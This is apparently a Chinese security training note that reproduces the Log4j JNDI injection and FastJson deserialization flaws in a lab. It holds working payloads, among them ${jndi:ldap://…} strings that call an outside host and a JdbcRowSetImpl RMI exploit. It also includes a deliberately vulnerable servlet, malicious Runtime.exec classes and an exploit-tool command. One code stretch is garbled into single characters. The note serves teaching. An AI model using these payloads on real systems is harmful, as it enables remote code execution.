036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入
#知识点:
1、JavaEE-组件安全-Log4j
2、JavaEE-组件安全-Fastjson
3、JavaEE-基本了解-JNDI-API
演示案例:
➢Java-三方组件-Log4J&JNDI
➢Java-三方组件-FastJson&反射
#Java-项目管理工具-配置
Jar仓库:
https://mvnrepository.com/
Maven配置:
https://www.jb51.net/article/259780.htm
JNDI相关概念:
1、JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。用于在分布式环境中查找和访问命名和目录服务。它允许Java应用程序通过名称引用资源,如数据库连接、远程对象等。
2、反序列化常用的两种利用方式,一种是基于RMI,一种是基于ldap。
3、RMI是一种行为,指的是Java远程方法调用。通过 RMI,对象的方法可以在远程 JVM 上被调用。
4、LDAP指轻量级目录服务协议。LDAP 主要用于访问目录服务,这是一种树形结构的数据库,用于组织和存储信息。
JNDI注入:
原理:利用JNDI的apl接口如RMI或LDAP远程调用自己所写的危险代码实现注入。
- Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
-
Log4j 2.x 中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入,执行恶意的Java代码。
- 上下文注入:
- 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(
InitialContext
)。 - 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通过构造特殊的输入来注入恶意的 JNDI 对象。如:
${jndi:ldap://47.94.236.117:1389/uyhyw6}
- 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(
- 上下文注入:
-
FastJson JNDI 注入漏洞(JSON ):
- FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
- 攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。
- 攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
- 远程代码执行:
- 由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。
#Java-三方组件-Log4J&JNDI
Log4J:日志管理
Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
Log4j-组件安全复现
本地简单实现
- 创建Maven并命名为Log4jDemo
- 找到对应版本**Apache Log4j Core » 2.14.1,并导入至项目中pomxml文件中**
- 并刷新Maven则导入成功
- 在java下创建
Log4jTest.java
文件,导入引入的第三方Log4j相关包- Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过
LogManager.getLogger
获取一个 Logger 实例,然后使用Logger.error
记录错误日志。 - 在
Logger.error("{}", code);
中,code
的值是${java:os}
。这是 Log4j 的变量替换语法,其中${java:os}
表示执行 Java 系统属性(在这里是执行系统命令)。如果code
的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。
- Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
**import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;**
public class Log4jTest {
// 创建 Logger 实例
private static final Logger Logger = LogManager.getLogger(Log4jTest.class);
public static void main(String[] args) {
**// 潜在的安全风险:使用不受信任的数据作为日志消息
String code = "${java:os}";
// 将不受信任的数据作为日志消息传递给 Logger.error
Logger.error("{}", code);**
}
}
构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
潜在的安全风险:直接使用用户输入构造日志消息
1、开发源码中引用漏洞组件如log4j
2、开发中使用组件的代码(触发漏洞代码)
3、可控变量去传递Payload来实现攻击
Payload通常指的是一段恶意代码或指令,旨在利用漏洞或实施攻击。
1、Maven引用Log4j
@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
private static final Logger Logger = LogManager.getLogger(Log4jServlet.class);
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 从请求中获取名为 "code" 的参数
String code = req.getParameter("code");
// 记录日志,潜在的安全风险:直接使用用户输入
Logger.error("{}", code);
}
}
2、接受用户输入值
遇到问题:HTTP Status 400 – 错误的请求描述 由于被认为是客户端对错误(例如:畸形的请求语法、无效的请求信息帧或者虚拟的请求路由),服务器无法或不会处理当前请求
原因:
是tomcat的版本问题,好像是tomcat7.9以上的版本,都不支持请求链接上带有特殊字符.否则会报400错误,
这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有"{"不在RFC3986中的保留字段中,所以会报这个错。
解决方式:修改Tomcat配置server.xml
<Connector port="8080" protocol="HTTP/1.1"
relaxedQueryChars="[]|{}^\`"<>"
connectionTimeout="20000"
redirectPort="8443" /
3、Log4j处理错误输入
4、利用jndi-ldap执行
- code=$(java:os) 输出执行结果:显示系统
- code=(java:os) 正常输入正常输出:(java:os)
- ${jndi:ldap://47.94.236.117:1389/uyhyw6}
- ${jndi:ldap://xxxx.dns.log}
- ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
- 什么方法? -A “calc” 执行计算机的功能方法(JNDI注入工具生成的)
Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)_log4j rce jndi-CSDN博客
Test:
String code=“test”;
String code=“
j
a
v
a
:
o
s
"
;
l
o
g
g
e
r
.
e
r
r
o
r
(
"
"
,
c
o
d
e
)
;
S
t
r
i
n
g
e
x
p
=
"
{java:os}"; logger.error("{}",code); String exp="
java:os";logger.error("",code);Stringexp="{jndi:ldap://xx.xx.xx.xx:xx/xxx}”;
服务器:
java -jar JNDI-Injection-Exploit.jar -C “calc” -A xx.xx.xx.xx
#Java-三方组件-FastJson&反射
FastJson:可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
Fastjson-组件安全复现
1、Maven引用Fastjson
2、创建需转换类对象User
package com.wusuowei;
//给fastjson数据转换测试用的
public class User {
private String name;
private Integer age;
public Integer getAge() {
return age;
}
public String getName() {
return name;
}
public void setAge(Integer age) {
this.age = age;
System.out.println(age);
}
public void setName(String name) {
this.name = name;
System.out.println(name);
}
}
3、使用Fastjson进行数据转换(对象转Json)
- 对象 -> JSON
- 我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
我就选择第三方组件fastjson来去做这个功能
- 我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
//使用fastjson去处理User类数据
public class FastjsonTest {
public static void main(String[] args) {
//u Object对象
//Integer age String name 字符串数据
User u = new User();
u.setAge(30);
u.setName("xiaodi");
// System.out.println(u);
//上述对象 -> JSON
//我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
//我就选择第三方组件fastjson来去做这个功能
//讲json对象转换json数据
String jsonString = JSONObject.toJSONString(u);
System.out.println("这就是json格式:"+jsonString);
}}
4、数据转换(Json转对象)
- 下面JSON -> 对象
- 分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个**@type 转换对象类包**
//分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
-
实战中com.wusuowei.Run 我们不知道 固定调用
-
rmi ldap 去触发远程的class 执行代码(RCE)
- 将test1中的的**@type 转换对象类包修改为别的东西,例如在本地创建的调用系统计算器的@type 转换对象类包、**
package com.wusuowei; import java.io.IOException; public class Run { public Run() throws IOException { Runtime.getRuntime().exec("calc"); } }
JSON.parseObject(test)
将test
字符串进行反序列化,并将其转换为一个JSONObject
对象。JSONObject
是Fastjson库中表示JSON对象的类。- 成功调用本机计算器
//下面JSON -> 对象
String test = "{\"@type\":\"com.wusuowei.User\",\"age\":30,\"name\":\"xiaodi\"}";
String test1 = "{\"@type\":\"com.wusuowei.Run\",\"age\":30,\"name\":\"xiaodi\"}";
//实战中com.xiaodi.Run 我们不知道 固定调用
//rmi ldap 去触发远程的class 执行代码(RCE)
JSONObject jsonObject = JSON.parseObject(test);
System.out.println("这就是json转换为对象的格式:"+jsonObject);
JSONObject jsonObject1 = JSON.parseObject(test1);
System.out.println("这就是json转换为对象的格式:"+jsonObject1);
服务器:
https://blog.csdn.net/guo15890025019/article/details/120532891
总结:
流程如下:
- 开启HTTP服务器并放置恶意类:
- 攻击者首先启动一个 HTTP 服务器,并在其中放置
Factory
类包含恶意类的文件或 JAR 文件。这些文件包含了攻击者想要远程加载并执行的恶意代码。- 开启恶意RMI服务器:
- 攻击者启动一个恶意的 RMI 服务器,该服务器可能包含一个特殊的远程对象,其目的是在远程加载时执行恶意代码。
- 攻击者控制URL参数为恶意RMI服务器地址:
- 攻击者通过抓包并修改请求方式,将**数据源的 RMI URL,指向一个
Factory
的远程对象—RMI服务器制定远程加载类Factory.class
的地址,**使目标系统的应用程序使用了特定的 URL 参数,该参数指向攻击者控制的恶意 RMI 服务器地址。- 恶意RMI服务器返回ReferenceWrapper类:
- 当目标系统执行 JNDI 的
lookup
操作时,攻击者的恶意 RMI 服务器返回一个特殊的对象,可能是ReferenceWrapper
类的实例。- 目标执行lookup操作,将ReferenceWrapper变成Reference类:
- 目标系统的代码(可能是
JNDI_Client
类)在执行lookup
操作时,通过自定义的decodeObject
方法将ReferenceWrapper
对象变成Reference
类的实例。- 在这个过程中,可能涉及到远程类加载,将攻击者准备的
Factory
类加载到目标系统中。- 远程加载并实例化Factory类,触发静态代码片段中的恶意代码:
- 在将
Reference
类实例化时,可能触发了Factory
类的静态初始化块,其中包含攻击者准备的恶意代码。- 这样,攻击者成功在目标系统上执行了远程加载并触发了恶意代码。
-
搭建靶场(目标)
- http://192.168.10.171:8090/
-
搭建恶意站点(攻击机)
-
编写恶意代码TouchFile.java(创建文件)
import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { // 获取运行时对象 Runtime rt = Runtime.getRuntime(); **// 定义执行的命令 String[] commands = {"touch", "/tmp/EDI"}; // 执行命令 Process pc = rt.exec(commands);** // 等待进程执行完成 pc.waitFor(); } catch (Exception e) { // 异常处理,这里仅打印异常,没有进一步处理 e.printStackTrace(); } // 静态初始化块结束 } // 类定义结束 }
-
javac TouchFile.java
编译一下,生成TouchFile.class
. -
开启http访问(http://192.168.8.14:8888/)
-
-
开启RMI服务
- 监听9999端口,并制定远程加载类TouchFile.class
- rmi://192.168.8.14:9999/TouchFile
-
burp抓包目标靶机
-
修改请求方式为POST Content-Type改成application/json,
-
写入exp,然后发送请求。
-
进行替换
"b": { // 这是一个表示离线行集的类,通常与 JDBC 一起使用。 **//DBC RowSet是Java中用于操作数据库结果集的一种方式,它提供了一种离线的、可序列化的结果集对象。 "@type": "com.sun.rowset.JdbcRowSetImpl", // 这指示数据源的 RMI URL,指向一个 TouchFile 的远程对象。 "dataSourceName": "rmi://192.168.8.14:9999/TouchFile",** // 自动提交设置为 true "autoCommit": true }
-
-
进入docker容器中查看已在tmp目录下创建EDI文件
原文链接:https://blog.csdn.net/guo15890025019/article/details/120532891